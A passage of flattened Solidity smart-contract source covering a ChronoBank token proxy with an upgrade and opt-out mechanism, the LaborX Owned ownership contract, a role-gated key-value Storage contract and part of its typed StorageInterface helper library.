return ChronoBankAsset(getVersionFor(msg.sender)); } /// @notice Returns asset total supply. /// @return asset total supply. function totalSupply() public view returns (uint) { return chronoBankPlatform.totalSupply(smbl); } /// @notice Returns asset balance for a particular holder. /// @param _owner holder address. /// @return holder balance. function balanceOf(address _owner) public view returns (uint) { return chronoBankPlatform.balanceOf(_owner, smbl); } /// @notice Returns asset allowance from one holder to another. /// @param _from holder that allowed spending. /// @param _spender holder that is allowed to spend. /// @return holder to spender allowance. function allowance(address _from, address _spender) public view returns (uint) { return chronoBankPlatform.allowance(_from, _spender, smbl); } /// @notice Returns asset decimals. /// @return asset decimals. function decimals() public view returns (uint8) { return chronoBankPlatform.baseUnit(smbl); } /// @notice Transfers asset balance from the caller to specified receiver. /// @param _to holder address to give to. /// @param _value amount to transfer. /// @return success. function transfer(address _to, uint _value) public returns (bool) { if (_to != 0x0) { return _transferWithReference(_to, _value, ""); } } /// @notice Transfers asset balance from the caller to specified receiver adding specified comment. /// @param _to holder address to give to. /// @param _value amount to transfer. /// @param _reference transfer comment to be included in a platform's Transfer event. /// @return success. function transferWithReference(address _to, uint _value, string _reference) public returns (bool) { if (_to != 0x0) { return _transferWithReference(_to, _value, _reference); } } /// @notice Resolves asset implementation contract for the caller and forwards there arguments along with /// the caller address. /// @return success. function _transferWithReference(address _to, uint _value, string _reference) internal returns (bool) { return _getAsset().__transferWithReference(_to, _value, _reference, msg.sender); } /// @notice Performs transfer call on the platform by the name of specified sender. /// /// Can only be called by asset implementation contract assigned to sender. /// /// @param _to holder address to give to. /// @param _value amount to transfer. /// @param _reference transfer comment to be included in a platform's Transfer event. /// @param _sender initial caller. /// /// @return success. function __transferWithReference( address _to, uint _value, string _reference, address _sender ) onlyAccess(_sender) public returns (bool) { return chronoBankPlatform.proxyTransferWithReference(_to, _value, smbl, _reference, _sender) == OK; } /// @notice Performs allowance transfer of asset balance between holders. /// @param _from holder address to take from. /// @param _to holder address to give to. /// @param _value amount to transfer. /// @return success. function transferFrom(address _from, address _to, uint _value) public returns (bool) { if (_to != 0x0) { return _getAsset().__transferFromWithReference(_from, _to, _value, "", msg.sender); } } /// @notice Performs allowance transfer call on the platform by the name of specified sender. /// /// Can only be called by asset implementation contract assigned to sender. /// /// @param _from holder address to take from. /// @param _to holder address to give to. /// @param _value amount to transfer. /// @param _reference transfer comment to be included in a platform's Transfer event. /// @param _sender initial caller. /// /// @return success. function __transferFromWithReference( address _from, address _to, uint _value, string _reference, address _sender ) onlyAccess(_sender) public returns (bool) { return chronoBankPlatform.proxyTransferFromWithReference(_from, _to, _value, smbl, _reference, _sender) == OK; } /// @notice Sets asset spending allowance for a specified spender. /// @param _spender holder address to set allowance to. /// @param _value amount to allow. /// @return success. function approve(address _spender, uint _value) public returns (bool) { if (_spender != 0x0) { return _getAsset().__approve(_spender, _value, msg.sender); } } /// @notice Performs allowance setting call on the platform by the name of specified sender. /// Can only be called by asset implementation contract assigned to sender. /// @param _spender holder address to set allowance to. /// @param _value amount to allow. /// @param _sender initial caller. /// @return success. function __approve(address _spender, uint _value, address _sender) onlyAccess(_sender) public returns (bool) { return chronoBankPlatform.proxyApprove(_spender, _value, smbl, _sender) == OK; } /// @notice Emits ERC20 Transfer event on this contract. /// Can only be, and, called by assigned platform when asset transfer happens. function emitTransfer(address _from, address _to, uint _value) onlyChronoBankPlatform public { emit Transfer(_from, _to, _value); } /// @notice Emits ERC20 Approval event on this contract. /// Can only be, and, called by assigned platform when asset allowance set happens. function emitApprove(address _from, address _spender, uint _value) onlyChronoBankPlatform public { emit Approval(_from, _spender, _value); } /// @notice Resolves asset implementation contract for the caller and forwards there transaction data, /// along with the value. This allows for proxy interface growth. function () public payable { _getAsset().__process.value(msg.value)(msg.data, msg.sender); } /// @dev Indicates an upgrade freeze-time start, and the next asset implementation contract. event UpgradeProposal(address newVersion); /// @dev Current asset implementation contract address. address latestVersion; /// @dev Proposed next asset implementation contract address. address pendingVersion; /// @dev Upgrade freeze-time start. uint pendingVersionTimestamp; /// @dev Timespan for users to review the new implementation and make decision. uint constant UPGRADE_FREEZE_TIME = 3 days; /// @dev Asset implementation contract address that user decided to stick with. /// 0x0 means that user uses latest version. mapping(address => address) userOptOutVersion; /// @dev Only asset implementation contract assigned to sender is allowed to call. modifier onlyAccess(address _sender) { address _versionFor = getVersionFor(_sender); if (msg.sender == _versionFor || ChronoBankAssetUtils.containsAssetInChain(ChronoBankAssetChainableInterface(_versionFor), msg.sender) ) { _; } } /// @notice Returns asset implementation contract address assigned to sender. /// @param _sender sender address. /// @return asset implementation contract address. function getVersionFor(address _sender) public view returns (address) { return userOptOutVersion[_sender] == 0 ? latestVersion : userOptOutVersion[_sender]; } /// @notice Returns current asset implementation contract address. /// @return asset implementation contract address. function getLatestVersion() public view returns (address) { return latestVersion; } /// @notice Returns proposed next asset implementation contract address. /// @return asset implementation contract address. function getPendingVersion() public view returns (address) { return pendingVersion; } /// @notice Returns upgrade freeze-time start. /// @return freeze-time start. function getPendingVersionTimestamp() public view returns (uint) { return pendingVersionTimestamp; } /// @notice Propose next asset implementation contract address. /// Can only be called by current asset owner. /// Note: freeze-time should not be applied for the initial setup. /// @param _newVersion asset implementation contract address. /// @return success. function proposeUpgrade(address _newVersion) onlyAssetOwner public returns (bool) { // Should not already be in the upgrading process. if (pendingVersion != 0x0) { return false; } // New version address should be other than 0x0. if (_newVersion == 0x0) { return false; } // Don't apply freeze-time for the initial setup. if (latestVersion == 0x0) { latestVersion = _newVersion; return true; } pendingVersion = _newVersion; pendingVersionTimestamp = now; emit UpgradeProposal(_newVersion); return true; } /// @notice Cancel the pending upgrade process. /// Can only be called by current asset owner. /// @return success. function purgeUpgrade() public onlyAssetOwner returns (bool) { if (pendingVersion == 0x0) { return false; } delete pendingVersion; delete pendingVersionTimestamp; return true; } /// @notice Finalize an upgrade process setting new asset implementation contract address. /// Can only be called after an upgrade freeze-time. /// @return success. function commitUpgrade() public returns (bool) { if (pendingVersion == 0x0) { return false; } if (pendingVersionTimestamp + UPGRADE_FREEZE_TIME > now) { return false; } latestVersion = pendingVersion; delete pendingVersion; delete pendingVersionTimestamp; return true; } /// @notice Disagree with proposed upgrade, and stick with current asset implementation /// until further explicit agreement to upgrade. /// @return success. function optOut() public returns (bool) { if (userOptOutVersion[msg.sender] != 0x0) { return false; } userOptOutVersion[msg.sender] = latestVersion; return true; } /// @notice Implicitly agree to upgrade to current and future asset implementation upgrades, /// until further explicit disagreement. /// @return success. function optIn() public returns (bool) { delete userOptOutVersion[msg.sender]; return true; } } // File: @laborx/solidity-shared-lib/contracts/Owned.sol /** * Copyright 2017–2018, LaborX PTY * Licensed under the AGPL Version 3 license. */ pragma solidity ^0.4.23; /// @title Owned contract with safe ownership pass. /// /// Note: all the non constant functions return false instead of throwing in case if state change /// didn't happen yet. contract Owned { event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); address public contractOwner; address public pendingContractOwner; modifier onlyContractOwner { if (msg.sender == contractOwner) { _; } } constructor() public { contractOwner = msg.sender; } /// @notice Prepares ownership pass. /// Can only be called by current owner. /// @param _to address of the next owner. /// @return success. function changeContractOwnership(address _to) public onlyContractOwner returns (bool) { if (_to == 0x0) { return false; } pendingContractOwner = _to; return true; } /// @notice Finalize ownership pass. /// Can only be called by pending owner. /// @return success. function claimContractOwnership() public returns (bool) { if (msg.sender != pendingContractOwner) { return false; } emit OwnershipTransferred(contractOwner, pendingContractOwner); contractOwner = pendingContractOwner; delete pendingContractOwner; return true; } /// @notice Allows the current owner to transfer control of the contract to a newOwner. /// @param newOwner The address to transfer ownership to. function transferOwnership(address newOwner) public onlyContractOwner returns (bool) { if (newOwner == 0x0) { return false; } emit OwnershipTransferred(contractOwner, newOwner); contractOwner = newOwner; delete pendingContractOwner; return true; } /// @notice Allows the current owner to transfer control of the contract to a newOwner. /// @dev Backward compatibility only. /// @param newOwner The address to transfer ownership to. function transferContractOwnership(address newOwner) public returns (bool) { return transferOwnership(newOwner); } /// @notice Withdraw given tokens from contract to owner. /// This method is only allowed for contact owner. function withdrawTokens(address[] tokens) public onlyContractOwner { address _contractOwner = contractOwner; for (uint i = 0; i < tokens.length; i++) { ERC20Interface token = ERC20Interface(tokens[i]); uint balance = token.balanceOf(this); if (balance > 0) { token.transfer(_contractOwner, balance); } } } /// @notice Withdraw ether from contract to owner. /// This method is only allowed for contact owner. function withdrawEther() public onlyContractOwner { uint balance = address(this).balance; if (balance > 0) { contractOwner.transfer(balance); } } /// @notice Transfers ether to another address. /// Allowed only for contract owners. /// @param _to recepient address /// @param _value wei to transfer; must be less or equal to total balance on the contract function transferEther(address _to, uint256 _value) public onlyContractOwner { require(_to != 0x0, "INVALID_ETHER_RECEPIENT_ADDRESS"); if (_value > address(this).balance) { revert("INVALID_VALUE_TO_TRANSFER_ETHER"); } _to.transfer(_value); } } // File: @laborx/solidity-storage-lib/contracts/Storage.sol /** * Copyright 2017–2018, LaborX PTY * Licensed under the AGPL Version 3 license. */ pragma solidity ^0.4.23; contract Manager { function isAllowed(address _actor, bytes32 _role) public view returns (bool); function hasAccess(address _actor) public view returns (bool); } contract Storage is Owned { struct Crate { mapping(bytes32 => uint) uints; mapping(bytes32 => address) addresses; mapping(bytes32 => bool) bools; mapping(bytes32 => int) ints; mapping(bytes32 => uint8) uint8s; mapping(bytes32 => bytes32) bytes32s; mapping(bytes32 => AddressUInt8) addressUInt8s; mapping(bytes32 => string) strings; } struct AddressUInt8 { address _address; uint8 _uint8; } mapping(bytes32 => Crate) internal crates; Manager public manager; modifier onlyAllowed(bytes32 _role) { if (!(msg.sender == address(this) || manager.isAllowed(msg.sender, _role))) { revert("STORAGE_FAILED_TO_ACCESS_PROTECTED_FUNCTION"); } _; } function setManager(Manager _manager) external onlyContractOwner returns (bool) { manager = _manager; return true; } function setUInt(bytes32 _crate, bytes32 _key, uint _value) public onlyAllowed(_crate) { _setUInt(_crate, _key, _value); } function _setUInt(bytes32 _crate, bytes32 _key, uint _value) internal { crates[_crate].uints[_key] = _value; } function getUInt(bytes32 _crate, bytes32 _key) public view returns (uint) { return crates[_crate].uints[_key]; } function setAddress(bytes32 _crate, bytes32 _key, address _value) public onlyAllowed(_crate) { _setAddress(_crate, _key, _value); } function _setAddress(bytes32 _crate, bytes32 _key, address _value) internal { crates[_crate].addresses[_key] = _value; } function getAddress(bytes32 _crate, bytes32 _key) public view returns (address) { return crates[_crate].addresses[_key]; } function setBool(bytes32 _crate, bytes32 _key, bool _value) public onlyAllowed(_crate) { _setBool(_crate, _key, _value); } function _setBool(bytes32 _crate, bytes32 _key, bool _value) internal { crates[_crate].bools[_key] = _value; } function getBool(bytes32 _crate, bytes32 _key) public view returns (bool) { return crates[_crate].bools[_key]; } function setInt(bytes32 _crate, bytes32 _key, int _value) public onlyAllowed(_crate) { _setInt(_crate, _key, _value); } function _setInt(bytes32 _crate, bytes32 _key, int _value) internal { crates[_crate].ints[_key] = _value; } function getInt(bytes32 _crate, bytes32 _key) public view returns (int) { return crates[_crate].ints[_key]; } function setUInt8(bytes32 _crate, bytes32 _key, uint8 _value) public onlyAllowed(_crate) { _setUInt8(_crate, _key, _value); } function _setUInt8(bytes32 _crate, bytes32 _key, uint8 _value) internal { crates[_crate].uint8s[_key] = _value; } function getUInt8(bytes32 _crate, bytes32 _key) public view returns (uint8) { return crates[_crate].uint8s[_key]; } function setBytes32(bytes32 _crate, bytes32 _key, bytes32 _value) public onlyAllowed(_crate) { _setBytes32(_crate, _key, _value); } function _setBytes32(bytes32 _crate, bytes32 _key, bytes32 _value) internal { crates[_crate].bytes32s[_key] = _value; } function getBytes32(bytes32 _crate, bytes32 _key) public view returns (bytes32) { return crates[_crate].bytes32s[_key]; } function setAddressUInt8(bytes32 _crate, bytes32 _key, address _value, uint8 _value2) public onlyAllowed(_crate) { _setAddressUInt8(_crate, _key, _value, _value2); } function _setAddressUInt8(bytes32 _crate, bytes32 _key, address _value, uint8 _value2) internal { crates[_crate].addressUInt8s[_key] = AddressUInt8(_value, _value2); } function getAddressUInt8(bytes32 _crate, bytes32 _key) public view returns (address, uint8) { return (crates[_crate].addressUInt8s[_key]._address, crates[_crate].addressUInt8s[_key]._uint8); } function setString(bytes32 _crate, bytes32 _key, string _value) public onlyAllowed(_crate) { _setString(_crate, _key, _value); } function _setString(bytes32 _crate, bytes32 _key, string _value) internal { crates[_crate].strings[_key] = _value; } function getString(bytes32 _crate, bytes32 _key) public view returns (string) { return crates[_crate].strings[_key]; } } // File: @laborx/solidity-storage-lib/contracts/StorageInterface.sol /** * Copyright 2017–2018, LaborX PTY * Licensed under the AGPL Version 3 license. */ pragma solidity ^0.4.23; library StorageInterface { struct Config { Storage store; bytes32 crate; } struct UInt { bytes32 id; } struct UInt8 { bytes32 id; } struct Int { bytes32 id; } struct Address { bytes32 id; } struct Bool { bytes32 id; } struct Bytes32 { bytes32 id; } struct String { bytes32 id; } struct Mapping { bytes32 id; } struct StringMapping { String id; } struct UIntBoolMapping { Bool innerMapping; } struct UIntUIntMapping { Mapping innerMapping; } struct UIntBytes32Mapping { Mapping innerMapping; } struct UIntAddressMapping { Mapping innerMapping; } struct UIntEnumMapping { Mapping innerMapping; } struct AddressBoolMapping { Mapping innerMapping; } struct AddressUInt8Mapping { bytes32 id; } struct AddressUIntMapping { Mapping innerMapping; } struct AddressBytes32Mapping { Mapping innerMapping; } struct AddressAddressMapping { Mapping innerMapping; } struct Bytes32UIntMapping { Mapping innerMapping; } struct Bytes32UInt8Mapping { UInt8 innerMapping; } struct Bytes32BoolMapping { Bool innerMapping; } struct Bytes32Bytes32Mapping { Mapping innerMapping; } struct Bytes32AddressMapping { Mapping innerMapping; } struct Bytes32UIntBoolMapping { Bool innerMapping; } struct AddressAddressUInt8Mapping { Mapping innerMapping; } struct AddressAddressUIntMapping { Mapping innerMapping; } struct AddressUIntUIntMapping { Mapping innerMapping; } struct AddressUIntUInt8Mapping { Mapping innerMapping; } struct AddressBytes32Bytes32Mapping { Mapping innerMapping; } struct AddressBytes4BoolMapping { Mapping innerMapping; } struct AddressBytes4Bytes32Mapping { Mapping innerMapping; } struct UIntAddressUIntMapping { Mapping innerMapping; } struct UIntAddressAddressMapping { Mapping innerMapping; } struct UIntAddressBoolMapping { Mapping innerMapping; } struct UIntUIntAddressMapping { Mapping innerMapping; } struct UIntUIntBytes32Mapping { Mapping innerMapping; } struct UIntUIntUIntMapping { Mapping innerMapping; } struct Bytes32UIntUIntMapping { Mapping innerMapping; } struct AddressUIntUIntUIntMapping { Mapping innerMapping; } struct AddressUIntStructAddressUInt8Mapping { AddressUInt8Mapping innerMapping; } struct AddressUIntUIntStructAddressUInt8Mapping { AddressUInt8Mapping innerMapping; } struct AddressUIntUIntUIntStructAddressUInt8Mapping { AddressUInt8Mapping innerMapping; } struct AddressUIntUIntUIntUIntStructAddressUInt8Mapping { AddressUInt8Mapping innerMapping; } struct AddressUIntAddressUInt8Mapping { Mapping innerMapping; } struct AddressUIntUIntAddressUInt8Mapping { Mapping innerMapping; } struct AddressUIntUIntUIntAddressUInt8Mapping { Mapping innerMapping; } struct UIntAddressAddressBoolMapping { Bool innerMapping; } struct UIntUIntUIntBytes32Mapping { Mapping innerMapping; } struct Bytes32UIntUIntUIntMapping { Mapping innerMapping; } bytes32 constant SET_IDENTIFIER = "set"; struct Set { UInt count; Mapping indexes; Mapping values; } struct AddressesSet { Set innerSet; } struct CounterSet { Set innerSet; } bytes32 constant ORDERED_SET_IDENTIFIER = "ordered_set"; struct OrderedSet { UInt count; Bytes32 first; Bytes32 last; Mapping nextValues; Mapping previousValues; } struct OrderedUIntSet { OrderedSet innerSet; } struct OrderedAddressesSet { OrderedSet innerSet; } struct Bytes32SetMapping { Set innerMapping; } struct AddressesSetMapping { Bytes32SetMapping innerMapping; } struct UIntSetMapping { Bytes32SetMapping innerMapping; } struct Bytes32OrderedSetMapping { OrderedSet innerMapping; } struct UIntOrderedSetMapping { Bytes32OrderedSetMapping innerMapping; } struct AddressOrderedSetMapping { Bytes32OrderedSetMapping innerMapping; } // Can't use modifier due to a Solidity bug. function sanityCheck(bytes32 _currentId, bytes32 _newId) internal pure { if (_currentId != 0 || _newId == 0) { revert(); } } function init(Config storage self, Storage _store, bytes32 _crate) internal { self.store = _store; self.crate = _crate; } function init(UInt8 storage self, bytes32 _id) internal { sanityCheck(self.id, _id); self.id = _id; } function init(UInt storage self, bytes32 _id) internal { sanityCheck(self.id, _id); self.id = _id; } function init(Int storage self, bytes32 _id) internal { sanityCheck(self.id, _id); self.id = _id; } function init(Address storage self, bytes32 _id) internal { sanityCheck(self.id, _id); self.id = _id; } function init(Bool storage self, bytes32 _id) internal { sanityCheck(self.id, _id); self.id = _id; } function init(Bytes32 storage self, bytes32 _id) internal { sanityCheck(self.id, _id); self.id = _id; } function init(String storage self, bytes32 _id) internal { sanityCheck(self.id, _id); self.id = _id; } function init(Mapping storage self, bytes32 _id) internal { sanityCheck(self.id, _id); self.id = _id; } function init(StringMapping storage self, bytes32 _id) internal { init(self.id, _id); } function init(UIntAddressMapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(UIntUIntMapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(UIntEnumMapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(UIntBoolMapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(UIntBytes32Mapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(AddressAddressUIntMapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(AddressBytes32Bytes32Mapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(AddressUIntUIntMapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(UIntAddressUIntMapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(UIntAddressBoolMapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(UIntUIntAddressMapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(UIntAddressAddressMapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(UIntUIntBytes32Mapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(UIntUIntUIntMapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(UIntAddressAddressBoolMapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(UIntUIntUIntBytes32Mapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(Bytes32UIntUIntMapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(Bytes32UIntUIntUIntMapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(AddressBoolMapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(AddressUInt8Mapping storage self, bytes32 _id) internal { sanityCheck(self.id, _id); self.id = _id; } function init(AddressUIntMapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(AddressBytes32Mapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(AddressAddressMapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(AddressAddressUInt8Mapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(AddressUIntUInt8Mapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(AddressBytes4BoolMapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(AddressBytes4Bytes32Mapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(AddressUIntUIntUIntMapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(AddressUIntStructAddressUInt8Mapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(AddressUIntUIntStructAddressUInt8Mapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(AddressUIntUIntUIntStructAddressUInt8Mapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(AddressUIntUIntUIntUIntStructAddressUInt8Mapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(AddressUIntAddressUInt8Mapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(AddressUIntUIntAddressUInt8Mapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(AddressUIntUIntUIntAddressUInt8Mapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(Bytes32UIntMapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(Bytes32UInt8Mapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(Bytes32BoolMapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(Bytes32Bytes32Mapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(Bytes32AddressMapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(Bytes32UIntBoolMapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(Set storage self, bytes32 _id) internal { init(self.count, keccak256(abi.encodePacked(_id, "count"))); init(self.indexes, keccak256(abi.encodePacked(_id, "indexes"))); init(self.values, keccak256(abi.encodePacked(_id, "values"))); } function init(AddressesSet storage self, bytes32 _id) internal { init(self.innerSet, _id); } function init(CounterSet storage self, bytes32 _id) internal { init(self.innerSet, _id); } function init(OrderedSet storage self, bytes32 _id) internal { init(self.count, keccak256(abi.encodePacked(_id, "uint/count"))); init(self.first, keccak256(abi.encodePacked(_id, "uint/first"))); init(self.last, keccak256(abi.encodePacked(_id, "uint/last"))); init(self.nextValues, keccak256(abi.encodePacked(_id, "uint/next"))); init(self.previousValues, keccak256(abi.encodePacked(_id, "uint/prev"))); } function init(OrderedUIntSet storage self, bytes32 _id) internal { init(self.innerSet, _id); } function init(OrderedAddressesSet storage self, bytes32 _id) internal { init(self.innerSet, _id); } function init(Bytes32SetMapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(AddressesSetMapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(UIntSetMapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(Bytes32OrderedSetMapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(UIntOrderedSetMapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(AddressOrderedSetMapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } /** `set` operation */ function set(Config storage self, UInt storage item, uint _value) internal { self.store.setUInt(self.crate, item.id, _value); } function set(Config storage self, UInt storage item, bytes32 _salt, uint _value) internal { self.store.setUInt(self.crate, keccak256(abi.encodePacked(item.id, _salt)), _value); } function set(Config storage self, UInt8 storage item, uint8 _value) internal { self.store.setUInt8(self.crate, item.id, _value); } function set(Config storage self, UInt8 storage item, bytes32 _salt, uint8 _value) internal { self.store.setUInt8(self.crate, keccak256(abi.encodePacked(item.id, _salt)), _value); } function set(Config storage self, Int storage item, int _value) internal { self.store.setInt(self.crate, item.id, _value); } function set(Config storage self, Int storage item, bytes32 _salt, int _value) internal { self.store.setInt(self.crate, keccak256(abi.encodePacked(item.id, _salt)), _value); } function set(Config storage self, Address storage item, address _value) internal { self.store.setAddress(self.crate, item.id, _value); } function set(Config storage self, Address storage item, bytes32 _salt, address _value) internal { self.store.setAddress(self.crate, keccak256(abi.encodePacked(item.id, _salt)), _value); } function set(Config storage self, Bool storage item, bool _value) internal { self.store.setBool(self.crate, item.id, _value); } function set(Config storage self, Bool storage item, bytes32 _salt, bool _value) internal { self.store.setBool(self.crate, keccak256(abi.encodePacked(item.id, _salt)), _value); } function set(Config storage self, Bytes32 storage item, bytes32 _value) internal { self.store.setBytes32(self.crate, item.id, _value); } function set(Config storage self, Bytes32 storage item, bytes32 _salt, bytes32 _value) internal { self.store.setBytes32(self.crate, keccak256(abi.encodePacked(item.id, _salt)), _value); } function set(Config storage self, String storage item, string _value) internal { self.store.setString(self.crate, item.id, _value); } function set(Config storage self, String storage item, bytes32 _salt, string _value) internal { self.store.setString(self.crate, keccak256(abi.encodePacked(item.id, _salt)), _value); } function set(Config storage self, Mapping storage item, uint _key, uint _value) internal { self.store.setUInt(self.crate, keccak256(abi.encodePacked(item.id, _key)), _value); } function set(Config storage self, Mapping storage item, bytes32 _key, bytes32 _value) internal { self.store.setBytes32(self.crate, keccak256(abi.encodePacked(item.id, _key)), _value); } function set(Config storage self, StringMapping storage item, bytes32 _key, string _value) internal { set(self, item.id, _key, _value); } function set(Config storage self, AddressUInt8Mapping storage item, bytes32 _key, address _value1, uint8 _value2) internal { self.store.setAddressUInt8(self.crate, keccak256(abi.encodePacked(item.id, _key)), _value1, _value2); } function set(Config storage self, Mapping storage item, bytes32 _key, bytes32 _key2, bytes32 _value) internal { set(self, item, keccak256(abi.encodePacked(_key, _key2)), _value); } function set(Config storage self, Mapping storage item, bytes32 _key, bytes32 _key2, bytes32 _key3, bytes32 _value) internal { set(self, item, keccak256(abi.encodePacked(_key, _key2, _key3)), _value); } function set(Config storage self, Bool storage item, bytes32 _key, bytes32 _key2, bytes32 _key3, bool _value) internal { set(self, item, keccak256(abi.encodePacked(_key, _key2, _key3)), _value); } function set(Config storage self, UIntAddressMapping storage item, uint _key, address _value) internal { set(self, item.innerMapping, bytes32(_key), bytes32(_value)); } function set(Config storage self, UIntUIntMapping storage item, uint _key, uint _value) internal { set(self, item.innerMapping, bytes32(_key), bytes32(_value)); } function set(Config storage self, UIntBoolMapping storage item, uint _key, bool _value) internal { set(self, item.innerMapping, bytes32(_key), _value); } function set(Config storage self, UIntEnumMapping storage item, uint _key, uint8 _value) internal { set(self, item.innerMapping, bytes32(_key), bytes32(_value)); } function set(Config storage self, UIntBytes32Mapping storage item, uint _key, bytes32 _value) internal { set(self, item.innerMapping, bytes32(_key), _value); } function set(Config storage self, Bytes32UIntMapping storage item, bytes32 _key, uint _value) internal { set(self, item.innerMapping, _key, bytes32(_value)); } function set(Config storage self, Bytes32UInt8Mapping storage item, bytes32 _key, uint8 _value) internal { set(self, item.innerMapping, _key, _value); } function set(Config storage self, Bytes32BoolMapping storage item, bytes32 _key, bool _value) internal { set(self, item.innerMapping, _key, _value); } function set(Config storage self, Bytes32Bytes32Mapping storage item, bytes32 _key, bytes32 _value) internal { set(self, item.innerMapping, _key, _value); } function set(Config storage self, Bytes32AddressMapping storage item, bytes32 _key, address _value) internal { set(self, item.innerMapping, _key, bytes32(_value)); } function set(Config storage self, Bytes32UIntBoolMapping storage item, bytes32 _key, uint _key2, bool _value) internal { set(self, item.innerMapping, keccak256(abi.encodePacked(_key, _key2)), _value); } function set(Config storage self, AddressUIntMapping storage item, address _key, uint _value) internal { set(self, item.innerMapping, bytes32(_key), bytes32(_value)); } function set(Config storage self, AddressBoolMapping storage item, address _key, bool _value) internal { set(self, item.innerMapping, bytes32(_key), toBytes32(_value)); } function set(Config storage self, AddressBytes32Mapping storage item, address _key, bytes32 _value) internal { set(self, item.innerMapping, bytes32(_key), _value); } function set(Config storage self, AddressAddressMapping storage item, address _key, address _value) internal { set(self, item.innerMapping, bytes32(_key), bytes32(_value)); } function set(Config storage self, AddressAddressUIntMapping storage item, address _key, address _key2, uint _value) internal { set(self, item.innerMapping, bytes32(_key), bytes32(_key2), bytes32(_value)); } function set(Config storage self, AddressUIntUIntMapping storage item, address _key, uint _key2, uint _value) internal { set(self, item.innerMapping, bytes32(_key), bytes32(_key2), bytes32(_value)); } function set(Config storage self, AddressAddressUInt8Mapping storage item, address _key, address _key2, uint8 _value) internal { set(self, item.innerMapping, bytes32(_key), bytes32(_key2), bytes32(_value)); } function set(Config storage self, AddressUIntUInt8Mapping storage item, address _key, uint _key2, uint8 _value) internal { set(self, item.innerMapping, bytes32(_key), bytes32(_key2), bytes32(_value)); } function set(Config storage self, AddressBytes32Bytes32Mapping storage item, address _key, bytes32 _key2, bytes32 _value) internal { set(self, item.innerMapping, bytes32(_key), _key2, _value); } function set(Config storage self, UIntAddressUIntMapping storage item, uint _key, address _key2, uint _value) internal { set(self, item.innerMapping, bytes32(_key), bytes32(_key2), bytes32(_value)); } function set(Config storage self, UIntAddressBoolMapping storage item, uint _key, address _key2, bool _value) internal { set(self, item.innerMapping, bytes32(_key), bytes32(_key2), toBytes32(_value)); } function set(Config storage self, UIntAddressAddressMapping storage item, uint _key, address _key2, address _value) internal { set(self, item.innerMapping, bytes32(_key), bytes32(_key2), bytes32(_value)); } function set(Config storage self, UIntUIntAddressMapping storage item, uint _key, uint _key2, address _value) internal { set(self, item.innerMapping, bytes32(_key), bytes32(_key2), bytes32(_value)); } function set(Config storage self, UIntUIntBytes32Mapping storage item, uint _key, uint _key2, bytes32 _value) internal { set(self, item.innerMapping, bytes32(_key), bytes32(_key2), _value); } function set(Config storage self, UIntUIntUIntMapping storage item, uint _key, uint _key2, uint _value) internal { set(self, item.innerMapping, bytes32(_key), bytes32(_key2), bytes32(_value)); } function set(Config storage self, UIntAddressAddressBoolMapping storage item, uint _key, address _key2, address _key3, bool _value) internal { set(self, item.innerMapping, bytes32(_key), bytes32(_key2), bytes32(_key3), _value); } function set(Config storage self, UIntUIntUIntBytes32Mapping storage item, uint _key, uint _key2, uint _key3, bytes32 _value) internal { set(self, item.innerMapping, bytes32(_key), bytes32(_key2), bytes32(_key3), _value); } function set(Config storage self, Bytes32UIntUIntMapping storage item, bytes32 _key, uint _key2, uint _value) internal { set(self, item.innerMapping, _key, bytes32(_key2), bytes32(_value)); } function set(Config storage self, Bytes32UIntUIntUIntMapping storage item, bytes32 _key, uint _key2, uint _key3, uint _value) internal { set(self, item.innerMapping, _key, bytes32(_key2), bytes32(_key3), bytes32(_value)); } function set(Config storage self, AddressUIntUIntUIntMapping storage item, address _key, uint _key2, uint _key3, uint _value) internal { set(self, item.innerMapping, bytes32(_key), bytes32(_key2), bytes32(_key3), bytes32(_value)); } function set(Config storage self, AddressUIntStructAddressUInt8Mapping storage item, address _key, uint _key2, address 